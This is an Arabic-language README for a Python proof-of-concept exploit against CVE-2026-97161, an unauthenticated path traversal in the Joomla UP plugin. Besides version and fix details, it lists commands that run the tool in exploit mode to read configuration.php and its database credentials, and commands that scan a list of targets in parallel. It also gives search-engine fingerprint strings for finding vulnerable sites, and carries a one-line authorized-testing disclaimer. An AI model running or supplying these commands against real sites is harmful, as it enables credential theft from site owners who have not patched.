
أداة إثبات مفهوم بلغة Python للثغرة CVE-2026-97161: تحدد بصمة إضافة Joomla UP وتتحقق من ثغرة اجتياز المسار غير المصادق عليها عبر com_ajax ajax-view لقراءة configuration.php.
إثبات مفهوم (PoC) بلغة Python 3 لـ CVE-2026-97161 — UP (Universal Plugin) لـ Joomla (lomart.fr).
CVE-2026-97161 — تكشف إصدارات UP 5.0.0–5.2.0 و6.0.0–6.0.29 عن اجتياز مسار / قراءة ملفات عشوائية دون مصادقة (CWE-22، CWE-284) عبر معالجات الوصول إلى الملفات عبر AJAX (وبشكل خاص محمّل النوافذ المنبثقة ajax-view). كان بإمكان المهاجمين قراءة configuration.php وملفات أخرى قابلة للقراءة من الخادم. CVSS 4.0 9.2 حرج (PR:N). الإصلاح: UP 6.1.0 / 5.2.1.
أصلح الإصدار نفسه أيضًا إنشاء الملفات العشوائي خارج الأدلة المقصودة (من نفس عائلة CVE).
صفحة PoC: https://pocbit.org/pocs/cve-2026-97161
الفهرس: https://pocbit.org/pocs/
| المنتج | إضافة UP (plg_content_up) |
| المتأثر | 5.0.0–5.2.0، 6.0.0–6.0.29 |
| المُصلَح | 5.2.1، 6.1.0 |
| المتجه | com_ajax + إضافة UP — مسار ملف يتحكم به المستخدم إلى خلفية ajax-view |
| التأثير | السرية (بيانات اعتماد قاعدة البيانات عبر configuration.php) |
لم ينشر المورّد سلاسل الاستعلام الدقيقة؛ يقوم إثبات المفهوم هذا بـ بصمة UP، وفحص أشكال المعاملات الشائعة لـ com_ajax، أو استخدام --ajax-url من التقاطك المخبري.
pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --read-probe
python poc.py -u https://joomla.example --mode exploit --read-probe
python poc.py -u https://joomla.example --mode exploit --ajax-url "https://joomla.example/index.php?option=com_ajax&plugin=up&..."
python poc.py --list targets.example.txt --mode check --read-probe -j 8
body="plugins/content/up"
body="com_ajax" "up.lomart"
CVE-2026-97161 PoC: Joomla UP (lomart.fr) اجتياز مسار / قراءة ملفات دون مصادقة عبر ajax-view (≤6.0.29). يكتشف الإضافة، ويفحص configuration.php. PoCbit
CVE-2026-97161: قراءة ملفات دون جلسة (path traversal) في إضافة UP؛ تم إصلاحها في 6.1.0 / 5.2.1.
للاختبار المصرح به فقط. يحاول --read-probe قراءة ملفات حساسة على الهدف.